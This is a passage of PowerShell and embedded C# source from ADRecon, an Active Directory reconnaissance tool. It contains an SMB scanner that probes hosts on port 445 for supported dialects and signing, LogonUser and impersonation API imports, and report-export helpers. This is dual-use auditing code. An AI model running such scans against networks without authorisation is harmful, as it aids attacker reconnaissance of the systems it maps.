ObjectObj.Members.Add(new PSNoteProperty("IdentityReference", Rule.IdentityReference));
SACLList.Add( ObjectObj );
}
}
return SACLList.ToArray();
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
//The interface and implmentation class used to handle the results (this implementation just writes the strings to a file)
interface IResultsHandler
{
void processResults(Object[] t);
Object[] finalise();
}
class SimpleResultsHandler : IResultsHandler
{
private Object lockObj = new Object();
private List<Object> processed = new List<Object>();
public SimpleResultsHandler()
{
}
public void processResults(Object[] results)
{
lock (lockObj)
{
if (results.Length != 0)
{
for (var i = 0; i < results.Length; i++)
{
processed.Add((PSObject)results[i]);
}
}
}
}
public Object[] finalise()
{
return processed.ToArray();
}
}
}
}
"@
#Add-Type -TypeDefinition $Source -ReferencedAssemblies ([System.String[]]@(([system.reflection.assembly]::LoadWithPartialName("Microsoft.ActiveDirectory.Management")).Location,([system.reflection.assembly]::LoadWithPartialName("System.DirectoryServices")).Location))
# modified version from https://github.com/vletoux/SmbScanner/blob/master/smbscanner.ps1
$PingCastleSMBScannerSource = @"
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Runtime.InteropServices;
using System.Management.Automation;
namespace ADRecon
{
public class PingCastleScannersSMBScanner
{
[StructLayout(LayoutKind.Explicit)]
struct SMB_Header {
[FieldOffset(0)]
public UInt32 Protocol;
[FieldOffset(4)]
public byte Command;
[FieldOffset(5)]
public int Status;
[FieldOffset(9)]
public byte Flags;
[FieldOffset(10)]
public UInt16 Flags2;
[FieldOffset(12)]
public UInt16 PIDHigh;
[FieldOffset(14)]
public UInt64 SecurityFeatures;
[FieldOffset(22)]
public UInt16 Reserved;
[FieldOffset(24)]
public UInt16 TID;
[FieldOffset(26)]
public UInt16 PIDLow;
[FieldOffset(28)]
public UInt16 UID;
[FieldOffset(30)]
public UInt16 MID;
};
// https://msdn.microsoft.com/en-us/library/cc246529.aspx
[StructLayout(LayoutKind.Explicit)]
struct SMB2_Header {
[FieldOffset(0)]
public UInt32 ProtocolId;
[FieldOffset(4)]
public UInt16 StructureSize;
[FieldOffset(6)]
public UInt16 CreditCharge;
[FieldOffset(8)]
public UInt32 Status; // to do SMB3
[FieldOffset(12)]
public UInt16 Command;
[FieldOffset(14)]
public UInt16 CreditRequest_Response;
[FieldOffset(16)]
public UInt32 Flags;
[FieldOffset(20)]
public UInt32 NextCommand;
[FieldOffset(24)]
public UInt64 MessageId;
[FieldOffset(32)]
public UInt32 Reserved;
[FieldOffset(36)]
public UInt32 TreeId;
[FieldOffset(40)]
public UInt64 SessionId;
[FieldOffset(48)]
public UInt64 Signature1;
[FieldOffset(56)]
public UInt64 Signature2;
}
[StructLayout(LayoutKind.Explicit)]
struct SMB2_NegotiateRequest
{
[FieldOffset(0)]
public UInt16 StructureSize;
[FieldOffset(2)]
public UInt16 DialectCount;
[FieldOffset(4)]
public UInt16 SecurityMode;
[FieldOffset(6)]
public UInt16 Reserved;
[FieldOffset(8)]
public UInt32 Capabilities;
[FieldOffset(12)]
public Guid ClientGuid;
[FieldOffset(28)]
public UInt64 ClientStartTime;
[FieldOffset(36)]
public UInt16 DialectToTest;
}
const int SMB_COM_NEGOTIATE = 0x72;
const int SMB2_NEGOTIATE = 0;
const int SMB_FLAGS_CASE_INSENSITIVE = 0x08;
const int SMB_FLAGS_CANONICALIZED_PATHS = 0x10;
const int SMB_FLAGS2_LONG_NAMES = 0x0001;
const int SMB_FLAGS2_EAS = 0x0002;
const int SMB_FLAGS2_SECURITY_SIGNATURE_REQUIRED = 0x0010 ;
const int SMB_FLAGS2_IS_LONG_NAME = 0x0040;
const int SMB_FLAGS2_ESS = 0x0800;
const int SMB_FLAGS2_NT_STATUS = 0x4000;
const int SMB_FLAGS2_UNICODE = 0x8000;
const int SMB_DB_FORMAT_DIALECT = 0x02;
static byte[] GenerateSmbHeaderFromCommand(byte command)
{
SMB_Header header = new SMB_Header();
header.Protocol = 0x424D53FF;
header.Command = command;
header.Status = 0;
header.Flags = SMB_FLAGS_CASE_INSENSITIVE | SMB_FLAGS_CANONICALIZED_PATHS;
header.Flags2 = SMB_FLAGS2_LONG_NAMES | SMB_FLAGS2_EAS | SMB_FLAGS2_SECURITY_SIGNATURE_REQUIRED | SMB_FLAGS2_IS_LONG_NAME | SMB_FLAGS2_ESS | SMB_FLAGS2_NT_STATUS | SMB_FLAGS2_UNICODE;
header.PIDHigh = 0;
header.SecurityFeatures = 0;
header.Reserved = 0;
header.TID = 0xffff;
header.PIDLow = 0xFEFF;
header.UID = 0;
header.MID = 0;
return getBytes(header);
}
static byte[] GenerateSmb2HeaderFromCommand(byte command)
{
SMB2_Header header = new SMB2_Header();
header.ProtocolId = 0x424D53FE;
header.Command = command;
header.StructureSize = 64;
header.Command = command;
header.MessageId = 0;
header.Reserved = 0xFEFF;
return getBytes(header);
}
static byte[] getBytes(object structure)
{
int size = Marshal.SizeOf(structure);
byte[] arr = new byte[size];
IntPtr ptr = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(structure, ptr, true);
Marshal.Copy(ptr, arr, 0, size);
Marshal.FreeHGlobal(ptr);
return arr;
}
static byte[] getDialect(string dialect)
{
byte[] dialectBytes = Encoding.ASCII.GetBytes(dialect);
byte[] output = new byte[dialectBytes.Length + 2];
output[0] = 2;
output[output.Length - 1] = 0;
Array.Copy(dialectBytes, 0, output, 1, dialectBytes.Length);
return output;
}
static byte[] GetNegotiateMessage(byte[] dialect)
{
byte[] output = new byte[dialect.Length + 3];
output[0] = 0;
output[1] = (byte) dialect.Length;
output[2] = 0;
Array.Copy(dialect, 0, output, 3, dialect.Length);
return output;
}
// MS-SMB2 2.2.3 SMB2 NEGOTIATE Request
static byte[] GetNegotiateMessageSmbv2(int DialectToTest)
{
SMB2_NegotiateRequest request = new SMB2_NegotiateRequest();
request.StructureSize = 36;
request.DialectCount = 1;
request.SecurityMode = 1; // signing enabled
request.ClientGuid = Guid.NewGuid();
request.DialectToTest = (UInt16) DialectToTest;
return getBytes(request);
}
static byte[] GetNegotiatePacket(byte[] header, byte[] smbPacket)
{
byte[] output = new byte[smbPacket.Length + header.Length + 4];
output[0] = 0;
output[1] = 0;
output[2] = 0;
output[3] = (byte)(smbPacket.Length + header.Length);
Array.Copy(header, 0, output, 4, header.Length);
Array.Copy(smbPacket, 0, output, 4 + header.Length, smbPacket.Length);
return output;
}
public static bool DoesServerSupportDialect(string server, string dialect)
{
Trace.WriteLine("Checking " + server + " for SMBV1 dialect " + dialect);
TcpClient client = new TcpClient();
try
{
client.Connect(server, 445);
}
catch (Exception)
{
throw new Exception("port 445 is closed on " + server);
}
try
{
NetworkStream stream = client.GetStream();
byte[] header = GenerateSmbHeaderFromCommand(SMB_COM_NEGOTIATE);
byte[] dialectEncoding = getDialect(dialect);
byte[] negotiatemessage = GetNegotiateMessage(dialectEncoding);
byte[] packet = GetNegotiatePacket(header, negotiatemessage);
stream.Write(packet, 0, packet.Length);
stream.Flush();
byte[] netbios = new byte[4];
if (stream.Read(netbios, 0, netbios.Length) != netbios.Length)
{
return false;
}
byte[] smbHeader = new byte[Marshal.SizeOf(typeof(SMB_Header))];
if (stream.Read(smbHeader, 0, smbHeader.Length) != smbHeader.Length)
{
return false;
}
byte[] negotiateresponse = new byte[3];
if (stream.Read(negotiateresponse, 0, negotiateresponse.Length) != negotiateresponse.Length)
{
return false;
}
if (negotiateresponse[1] == 0 && negotiateresponse[2] == 0)
{
Trace.WriteLine("Checking " + server + " for SMBV1 dialect " + dialect + " = Supported");
return true;
}
Trace.WriteLine("Checking " + server + " for SMBV1 dialect " + dialect + " = Not supported");
return false;
}
catch (Exception)
{
throw new ApplicationException("Smb1 is not supported on " + server);
}
}
public static bool DoesServerSupportDialectWithSmbV2(string server, int dialect, bool checkSMBSigning)
{
Trace.WriteLine("Checking " + server + " for SMBV2 dialect 0x" + dialect.ToString("X2"));
TcpClient client = new TcpClient();
try
{
client.Connect(server, 445);
}
catch (Exception)
{
throw new Exception("port 445 is closed on " + server);
}
try
{
NetworkStream stream = client.GetStream();
byte[] header = GenerateSmb2HeaderFromCommand(SMB2_NEGOTIATE);
byte[] negotiatemessage = GetNegotiateMessageSmbv2(dialect);
byte[] packet = GetNegotiatePacket(header, negotiatemessage);
stream.Write(packet, 0, packet.Length);
stream.Flush();
byte[] netbios = new byte[4];
if( stream.Read(netbios, 0, netbios.Length) != netbios.Length)
{
return false;
}
byte[] smbHeader = new byte[Marshal.SizeOf(typeof(SMB2_Header))];
if (stream.Read(smbHeader, 0, smbHeader.Length) != smbHeader.Length)
{
return false;
}
if (smbHeader[8] != 0 || smbHeader[9] != 0 || smbHeader[10] != 0 || smbHeader[11] != 0)
{
Trace.WriteLine("Checking " + server + " for SMBV2 dialect 0x" + dialect.ToString("X2") + " = Not supported via error code");
return false;
}
byte[] negotiateresponse = new byte[6];
if (stream.Read(negotiateresponse, 0, negotiateresponse.Length) != negotiateresponse.Length)
{
return false;
}
if (checkSMBSigning)
{
// https://support.microsoft.com/en-in/help/887429/overview-of-server-message-block-signing
// https://msdn.microsoft.com/en-us/library/cc246561.aspx
if (negotiateresponse[2] == 3)
{
Trace.WriteLine("Checking " + server + " for SMBV2 SMB Signing dialect 0x" + dialect.ToString("X2") + " = Supported");
return true;
}
else
{
return false;
}
}
int selectedDialect = negotiateresponse[5] * 0x100 + negotiateresponse[4];
if (selectedDialect == dialect)
{
Trace.WriteLine("Checking " + server + " for SMBV2 dialect 0x" + dialect.ToString("X2") + " = Supported");
return true;
}
Trace.WriteLine("Checking " + server + " for SMBV2 dialect 0x" + dialect.ToString("X2") + " = Not supported via not returned dialect");
return false;
}
catch (Exception)
{
throw new ApplicationException("Smb2 is not supported on " + server);
}
}
public static bool SupportSMB1(string server)
{
try
{
return DoesServerSupportDialect(server, "NT LM 0.12");
}
catch (Exception)
{
return false;
}
}
public static bool SupportSMB2(string server)
{
try
{
return (DoesServerSupportDialectWithSmbV2(server, 0x0202, false) || DoesServerSupportDialectWithSmbV2(server, 0x0210, false));
}
catch (Exception)
{
return false;
}
}
public static bool SupportSMB3(string server)
{
try
{
return (DoesServerSupportDialectWithSmbV2(server, 0x0300, false) || DoesServerSupportDialectWithSmbV2(server, 0x0302, false) || DoesServerSupportDialectWithSmbV2(server, 0x0311, false));
}
catch (Exception)
{
return false;
}
}
public static string Name { get { return "smb"; } }
public static PSObject GetPSObject(string computer)
{
PSObject DCSMBObj = new PSObject();
if (computer == "")
{
DCSMBObj.Members.Add(new PSNoteProperty("SMB Port Open", null));
DCSMBObj.Members.Add(new PSNoteProperty("SMB1(NT LM 0.12)", null));
DCSMBObj.Members.Add(new PSNoteProperty("SMB2(0x0202)", null));
DCSMBObj.Members.Add(new PSNoteProperty("SMB2(0x0210)", null));
DCSMBObj.Members.Add(new PSNoteProperty("SMB3(0x0300)", null));
DCSMBObj.Members.Add(new PSNoteProperty("SMB3(0x0302)", null));
DCSMBObj.Members.Add(new PSNoteProperty("SMB3(0x0311)", null));
DCSMBObj.Members.Add(new PSNoteProperty("SMB Signing", null));
return DCSMBObj;
}
bool isPortOpened = true;
bool SMBv1 = false;
bool SMBv2_0x0202 = false;
bool SMBv2_0x0210 = false;
bool SMBv3_0x0300 = false;
bool SMBv3_0x0302 = false;
bool SMBv3_0x0311 = false;
bool SMBSigning = false;
try
{
try
{
SMBv1 = DoesServerSupportDialect(computer, "NT LM 0.12");
}
catch (ApplicationException)
{
}
try
{
SMBv2_0x0202 = DoesServerSupportDialectWithSmbV2(computer, 0x0202, false);
SMBv2_0x0210 = DoesServerSupportDialectWithSmbV2(computer, 0x0210, false);
SMBv3_0x0300 = DoesServerSupportDialectWithSmbV2(computer, 0x0300, false);
SMBv3_0x0302 = DoesServerSupportDialectWithSmbV2(computer, 0x0302, false);
SMBv3_0x0311 = DoesServerSupportDialectWithSmbV2(computer, 0x0311, false);
}
catch (ApplicationException)
{
}
}
catch (Exception)
{
isPortOpened = false;
}
if (SMBv3_0x0311)
{
SMBSigning = DoesServerSupportDialectWithSmbV2(computer, 0x0311, true);
}
else if (SMBv3_0x0302)
{
SMBSigning = DoesServerSupportDialectWithSmbV2(computer, 0x0302, true);
}
else if (SMBv3_0x0300)
{
SMBSigning = DoesServerSupportDialectWithSmbV2(computer, 0x0300, true);
}
else if (SMBv2_0x0210)
{
SMBSigning = DoesServerSupportDialectWithSmbV2(computer, 0x0210, true);
}
else if (SMBv2_0x0202)
{
SMBSigning = DoesServerSupportDialectWithSmbV2(computer, 0x0202, true);
}
DCSMBObj.Members.Add(new PSNoteProperty("SMB Port Open", isPortOpened));
DCSMBObj.Members.Add(new PSNoteProperty("SMB1(NT LM 0.12)", SMBv1));
DCSMBObj.Members.Add(new PSNoteProperty("SMB2(0x0202)", SMBv2_0x0202));
DCSMBObj.Members.Add(new PSNoteProperty("SMB2(0x0210)", SMBv2_0x0210));
DCSMBObj.Members.Add(new PSNoteProperty("SMB3(0x0300)", SMBv3_0x0300));
DCSMBObj.Members.Add(new PSNoteProperty("SMB3(0x0302)", SMBv3_0x0302));
DCSMBObj.Members.Add(new PSNoteProperty("SMB3(0x0311)", SMBv3_0x0311));
DCSMBObj.Members.Add(new PSNoteProperty("SMB Signing", SMBSigning));
return DCSMBObj;
}
}
}
"@
# Import the LogonUser, ImpersonateLoggedOnUser and RevertToSelf Functions from advapi32.dll and the CloseHandle Function from kernel32.dll
# https://docs.microsoft.com/en-gb/powershell/module/Microsoft.PowerShell.Utility/Add-Type?view=powershell-5.1
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379317(v=vs.85).aspx
$Advapi32Def = @'
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool LogonUser(string lpszUsername, string lpszDomain, string lpszPassword, int dwLogonType, int dwLogonProvider, out IntPtr phToken);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool RevertToSelf();
'@
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211(v=vs.85).aspx
$Kernel32Def = @'
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
'@
Function Get-DateDiff
{
<#
.SYNOPSIS
Get difference between two dates.
.DESCRIPTION
Returns the difference between two dates.
.PARAMETER Date1
[DateTime]
Date
.PARAMETER Date2
[DateTime]
Date
.OUTPUTS
[System.ValueType.TimeSpan]
Returns the difference between the two dates.
#>
param (
[Parameter(Mandatory = $true)]
[DateTime] $Date1,
[Parameter(Mandatory = $true)]
[DateTime] $Date2
)
If ($Date2 -gt $Date1)
{
$DDiff = $Date2 - $Date1
}
Else
{
$DDiff = $Date1 - $Date2
}
Return $DDiff
}
Function Get-DNtoFQDN
{
<#
.SYNOPSIS
Gets Domain Distinguished Name (DN) from the Fully Qualified Domain Name (FQDN).
.DESCRIPTION
Converts Domain Distinguished Name (DN) to Fully Qualified Domain Name (FQDN).
.PARAMETER ADObjectDN
[string]
Domain Distinguished Name (DN)
.OUTPUTS
[String]
Returns the Fully Qualified Domain Name (FQDN).
.LINK
https://adsecurity.org/?p=440
#>
param(
[Parameter(Mandatory = $true)]
[string] $ADObjectDN
)
$Index = $ADObjectDN.IndexOf('DC=')
If ($Index)
{
$ADObjectDNDomainName = $($ADObjectDN.SubString($Index)) -replace 'DC=','' -replace ',','.'
}
Else
{
# Modified version from https://adsecurity.org/?p=440
[array] $ADObjectDNArray = $ADObjectDN -Split ("DC=")
$ADObjectDNArray | ForEach-Object {
[array] $temp = $_ -Split (",")
[string] $ADObjectDNArrayItemDomainName += $temp[0] + "."
}
$ADObjectDNDomainName = $ADObjectDNArrayItemDomainName.Substring(1, $ADObjectDNArrayItemDomainName.Length - 2)
}
Return $ADObjectDNDomainName
}
Function Export-ADRCSV
{
<#
.SYNOPSIS
Exports Object to a CSV file.
.DESCRIPTION
Exports Object to a CSV file using Export-CSV.
.PARAMETER ADRObj
[PSObject]
ADRObj
.PARAMETER ADFileName
[String]
Path to save the CSV File.
.OUTPUTS
CSV file.
#>
param(
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[PSObject] $ADRObj,
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[String] $ADFileName
)
Try
{
$ADRObj | Export-Csv -Path $ADFileName -NoTypeInformation
}
Catch
{
Write-Warning "[Export-ADRCSV] Failed to export $($ADFileName)."
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
Function Export-ADRXML
{
<#
.SYNOPSIS
Exports Object to a XML file.
.DESCRIPTION
Exports Object to a XML file using Export-Clixml.
.PARAMETER ADRObj
[PSObject]
ADRObj
.PARAMETER ADFileName
[String]
Path to save the XML File.
.OUTPUTS
XML file.
#>
param(
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[PSObject] $ADRObj,
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[String] $ADFileName
)
Try
{
(ConvertTo-Xml -NoTypeInformation -InputObject $ADRObj).Save($ADFileName)
}
Catch
{
Write-Warning "[Export-ADRXML] Failed to export $($ADFileName)."
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
Function Export-ADRJSON
{
<#
.SYNOPSIS
Exports Object to a JSON file.
.DESCRIPTION
Exports Object to a JSON file using ConvertTo-Json.
.PARAMETER ADRObj
[PSObject]
ADRObj
.PARAMETER ADFileName
[String]
Path to save the JSON File.
.OUTPUTS
JSON file.
#>
param(
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[PSObject] $ADRObj,
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[String] $ADFileName
)
Try
{
ConvertTo-JSON -InputObject $ADRObj | Out-File -FilePath $ADFileName
}
Catch
{
Write-Warning "[Export-ADRJSON] Failed to export $($ADFileName)."
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
Function Export-ADRHTML
{
<#
.SYNOPSIS
Exports Object to a HTML file.
.DESCRIPTION
Exports Object to a HTML file using ConvertTo-Html.
.PARAMETER ADRObj
[PSObject]
ADRObj
.PARAMETER ADFileName
[String]
Path to save the HTML File.
.OUTPUTS
HTML file.
#>
param(
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[PSObject] $ADRObj,
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[String] $ADFileName,
[Parameter(Mandatory = $false)]
[String] $ADROutputDir = $null
)
$Header = @"
<style type="text/css">
th {
color:white;
background-color:blue;
}
td, th {
border:0px solid black;
border-collapse:collapse;
white-space:pre;
}
tr:nth-child(2n+1) {
background-color: #dddddd;
}
tr:hover td {
background-color: #c1d5f8;
}
table, tr, td, th {
padding: 0px;
margin: 0px;
white-space:pre;
}
table {
margin-left:1px;
}
</style>
"@
Try
{
If ($ADFileName.Contains("Index"))
{
$HTMLPath = -join($ADROutputDir,'\','HTML-Files')
$HTMLPath = $((Convert-Path $HTMLPath).TrimEnd("\"))
$HTMLFiles = Get-ChildItem -Path $HTMLPath -name
$HTML = $HTMLFiles | ConvertTo-HTML -Title "ADRecon" -Property @{Label="Table of Contents";Expression={"<a href='$($_)'>$($_)</a>"}} -Head $Header
Add-Type -AssemblyName System.Web
[System.Web.HttpUtility]::HtmlDecode($HTML) | Out-File -FilePath $ADFileName
}
Else
{
If ($ADRObj -is [array])
{
$ADRObj | Select-Object * | ConvertTo-HTML -As Table -Head $Header | Out-File -FilePath $ADFileName
}
Else
{
ConvertTo-HTML -InputObject $ADRObj -As Table -Head $Header | Out-File -FilePath $ADFileName
}
}
}
Catch
{
Write-Warning "[Export-ADRHTML] Failed to export $($ADFileName)."
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
}
Function Export-ADR
{
<#
.SYNOPSIS
Helper function for all output types supported.
.DESCRIPTION
Helper function for all output types supported.
.PARAMETER ADObjectDN
[PSObject]
ADRObj
.PARAMETER ADROutputDir
[String]
Path for ADRecon output folder.
.PARAMETER OutputType
[array]
Output Type.
.PARAMETER ADRModuleName
[String]
Module Name.
.OUTPUTS
STDOUT, CSV, XML, JSON and/or HTML file, etc.
#>
param(
[Parameter(Mandatory = $true)]
[PSObject] $ADRObj,
[Parameter(Mandatory = $true)]
[String] $ADROutputDir,
[Parameter(Mandatory = $true)]
[array] $OutputType,
[Parameter(Mandatory = $true)]
[String] $ADRModuleName
)
Switch ($OutputType)
{
'STDOUT'
{
If ($ADRModuleName -ne "AboutADRecon")
{
If ($ADRObj -is [array])
{
# Fix for InvalidOperationException: The object of type "Microsoft.PowerShell.Commands.Internal.Format.FormatStartData" is not valid or not in the correct sequence.
$ADRObj | Out-String -Stream
}
Else
{
# Fix for InvalidOperationException: The object of type "Microsoft.PowerShell.Commands.Internal.Format.FormatStartData" is not valid or not in the correct sequence.
$ADRObj | Format-List | Out-String -Stream
}
}
}
'CSV'
{
$ADFileName = -join($ADROutputDir,'\','CSV-Files','\',$ADRModuleName,'.csv')
Export-ADRCSV -ADRObj $ADRObj -ADFileName $ADFileName
}
'XML'
{
$ADFileName = -join($ADROutputDir,'\','XML-Files','\',$ADRModuleName,'.xml')
Export-ADRXML -ADRObj $ADRObj -ADFileName $ADFileName
}
'JSON'
{
$ADFileName = -join($ADROutputDir,'\','JSON-Files','\',$ADRModuleName,'.json')
Export-ADRJSON -ADRObj $ADRObj -ADFileName $ADFileName
}
'HTML'
{
$ADFileName = -join($ADROutputDir,'\','HTML-Files','\',$ADRModuleName,'.html')
Export-ADRHTML -ADRObj $ADRObj -ADFileName $ADFileName -ADROutputDir $ADROutputDir
}
}
}
Function Get-ADRExcelComObj
{
<#
.SYNOPSIS
Creates a ComObject to interact with Microsoft Excel.
.DESCRIPTION
Creates a ComObject to interact with Microsoft Excel if installed, else warning is raised.
.OUTPUTS
[System.__ComObject] and [System.MarshalByRefObject]
Creates global variables $excel and $workbook.
#>
#Check if Excel is installed.
Try
{
# Suppress verbose output
$SaveVerbosePreference = $script:VerbosePreference
$script:VerbosePreference = 'SilentlyContinue'
$global:excel = New-Object -ComObject excel.application
If ($SaveVerbosePreference)
{
$script:VerbosePreference = $SaveVerbosePreference
Remove-Variable SaveVerbosePreference
}
}
Catch
{
If ($SaveVerbosePreference)
{
$script:VerbosePreference = $SaveVerbosePreference
Remove-Variable SaveVerbosePreference
}
Write-Warning "[Get-ADRExcelComObj] Excel does not appear to be installed. Skipping generation of ADRecon-Report.xlsx. Use the -GenExcel parameter to generate the ADRecon-Report.xslx on a host with Microsoft Excel installed."
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$excel.Visible = $true
$excel.Interactive = $false
$global:workbook = $excel.Workbooks.Add()
If ($workbook.Worksheets.Count -eq 3)
{
$workbook.WorkSheets.Item(3).Delete()
$workbook.WorkSheets.Item(2).Delete()
}
}
Function Get-ADRExcelComObjRelease
{
<#
.SYNOPSIS
Releases the ComObject created to interact with Microsoft Excel.
.DESCRIPTION
Releases the ComObject created to interact with Microsoft Excel.
.PARAMETER ComObjtoRelease
ComObjtoRelease
.PARAMETER Final
Final
#>
param(
[Parameter(Mandatory = $true)]
$ComObjtoRelease,
[Parameter(Mandatory = $false)]
[bool] $Final = $false
)
# https://msdn.microsoft.com/en-us/library/system.runtime.interopservices.marshal.releasecomobject(v=vs.110).aspx
# https://msdn.microsoft.com/en-us/library/system.runtime.interopservices.marshal.finalreleasecomobject(v=vs.110).aspx
If ($Final)
{
[System.Runtime.InteropServices.Marshal]::FinalReleaseComObject($ComObjtoRelease) | Out-Null
}
Else
{
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($ComObjtoRelease) | Out-Null
}
[System.GC]::Collect()
[System.GC]::WaitForPendingFinalizers()
}
Function Get-ADRExcelWorkbook
{
<#
.SYNOPSIS
Adds a WorkSheet to the Workbook.
.DESCRIPTION
Adds a WorkSheet to the Workbook using the $workboook global variable and assigns it a name.
.PARAMETER name
[string]
Name of the WorkSheet.
#>
param (
[Parameter(Mandatory = $true)]
[string] $name
)
$workbook.Worksheets.Add() | Out-Null
$worksheet = $workbook.Worksheets.Item(1)
$worksheet.Name = $name
Get-ADRExcelComObjRelease -ComObjtoRelease $worksheet
Remove-Variable worksheet
}
Function Get-ADRExcelImport
{
<#
.SYNOPSIS
Helper to import CSV to the current WorkSheet.
.DESCRIPTION
Helper to import CSV to the current WorkSheet. Supports two methods.
.PARAMETER ADFileName
[string]
Filename of the CSV file to import.
.PARAMETER method
[int]
Method to use for the import.
.PARAMETER row
[int]
Row.
.PARAMETER column
[int]
Column.
#>
param (
[Parameter(Mandatory = $true)]
[string] $ADFileName,
[Parameter(Mandatory = $false)]
[int] $method = 1,
[Parameter(Mandatory = $false)]
[int] $row = 1,
[Parameter(Mandatory = $false)]
[int] $column = 1
)
$excel.ScreenUpdating = $false
If ($method -eq 1)
{
If (Test-Path $ADFileName)
{
$worksheet = $workbook.Worksheets.Item(1)
$TxtConnector = ("TEXT;" + $ADFileName)
$CellRef = $worksheet.Range("A1")
#Build, use and remove the text file connector
$Connector = $worksheet.QueryTables.add($TxtConnector, $CellRef)
#65001: Unicode (UTF-8)
$worksheet.QueryTables.item($Connector.name).TextFilePlatform = 65001
$worksheet.QueryTables.item($Connector.name).TextFileCommaDelimiter = $True
$worksheet.QueryTables.item($Connector.name).TextFileParseType = 1
$worksheet.QueryTables.item($Connector.name).Refresh() | Out-Null
$worksheet.QueryTables.item($Connector.name).delete()
Get-ADRExcelComObjRelease -ComObjtoRelease $CellRef
Remove-Variable CellRef
Get-ADRExcelComObjRelease -ComObjtoRelease $Connector
Remove-Variable Connector
$listObject = $worksheet.ListObjects.Add([Microsoft.Office.Interop.Excel.XlListObjectSourceType]::xlSrcRange, $worksheet.UsedRange, $null, [Microsoft.Office.Interop.Excel.XlYesNoGuess]::xlYes, $null)
$listObject.TableStyle = "TableStyleLight2" # Style Cheat Sheet: https://msdn.microsoft.com/en-au/library/documentformat.openxml.spreadsheet.tablestyle.aspx
$worksheet.UsedRange.EntireColumn.AutoFit() | Out-Null
}
Remove-Variable ADFileName
}
Elseif ($method -eq 2)
{
$worksheet = $workbook.Worksheets.Item(1)
If (Test-Path $ADFileName)
{
$ADTemp = Import-Csv -Path $ADFileName
$ADTemp | ForEach-Object {
Foreach ($prop in $_.PSObject.Properties)
{
$worksheet.Cells.Item($row, $column) = $prop.Name
$worksheet.Cells.Item($row, $column + 1) = $prop.Value
$row++
}
}
Remove-Variable ADTemp
$listObject = $worksheet.ListObjects.Add([Microsoft.Office.Interop.Excel.XlListObjectSourceType]::xlSrcRange, $worksheet.UsedRange, $null, [Microsoft.Office.Interop.Excel.XlYesNoGuess]::xlYes, $null)
$listObject.TableStyle = "TableStyleLight2" # Style Cheat Sheet: https://msdn.microsoft.com/en-au/library/documentformat.openxml.spreadsheet.tablestyle.aspx
$usedRange = $worksheet.UsedRange
$usedRange.EntireColumn.AutoFit() | Out-Null
}
Else
{
$worksheet.Cells.Item($row, $column) = "Error!"
}
Remove-Variable ADFileName
}
$excel.ScreenUpdating = $true
Get-ADRExcelComObjRelease -ComObjtoRelease $worksheet
Remove-Variable worksheet
}
# Thanks Anant Shrivastava for the suggestion of using Pivot Tables for generation of the Stats sheets.
Function Get-ADRExcelPivotTable
{
<#
.SYNOPSIS
Helper to add Pivot Table to the current WorkSheet.
.DESCRIPTION
Helper to add Pivot Table to the current WorkSheet.
.PARAMETER SrcSheetName
[string]
Source Sheet Name.
.PARAMETER PivotTableName
[string]
Pivot Table Name.
.PARAMETER PivotRows
[array]
Row names from Source Sheet.
.PARAMETER PivotColumns
[array]
Column names from Source Sheet.
.PARAMETER PivotFilters
[array]
Row/Column names from Source Sheet to use as filters.
.PARAMETER PivotValues
[array]
Row/Column names from Source Sheet to use for Values.
.PARAMETER PivotPercentage
[array]
Row/Column names from Source Sheet to use for Percentage.
.PARAMETER PivotLocation
[array]
Location of the Pivot Table in Row/Column.
#>
param (
[Parameter(Mandatory = $true)]
[string] $SrcSheetName,
[Parameter(Mandatory = $true)]
[string] $PivotTableName,
[Parameter(Mandatory = $false)]
[array] $PivotRows,
[Parameter(Mandatory = $false)]
[array] $PivotColumns,
[Parameter(Mandatory = $false)]
[array] $PivotFilters,
[Parameter(Mandatory = $false)]
[array] $PivotValues,
[Parameter(Mandatory = $false)]
[array] $PivotPercentage,
[Parameter(Mandatory = $false)]
[string] $PivotLocation = "R1C1"
)
$excel.ScreenUpdating = $false
$SrcWorksheet = $workbook.Sheets.Item($SrcSheetName)
$workbook.ShowPivotTableFieldList = $false
# https://msdn.microsoft.com/en-us/vba/excel-vba/articles/xlpivottablesourcetype-enumeration-excel
# https://msdn.microsoft.com/en-us/vba/excel-vba/articles/xlpivottableversionlist-enumeration-excel
# https://msdn.microsoft.com/en-us/vba/excel-vba/articles/xlpivotfieldorientation-enumeration-excel
# https://msdn.microsoft.com/en-us/vba/excel-vba/articles/constants-enumeration-excel
# https://msdn.microsoft.com/en-us/vba/excel-vba/articles/xlsortorder-enumeration-excel
# https://msdn.microsoft.com/en-us/vba/excel-vba/articles/xlpivotfiltertype-enumeration-excel
# xlDatabase = 1 # this just means local sheet data
# xlPivotTableVersion12 = 3 # Excel 2007
$PivotFailed = $false
Try
{
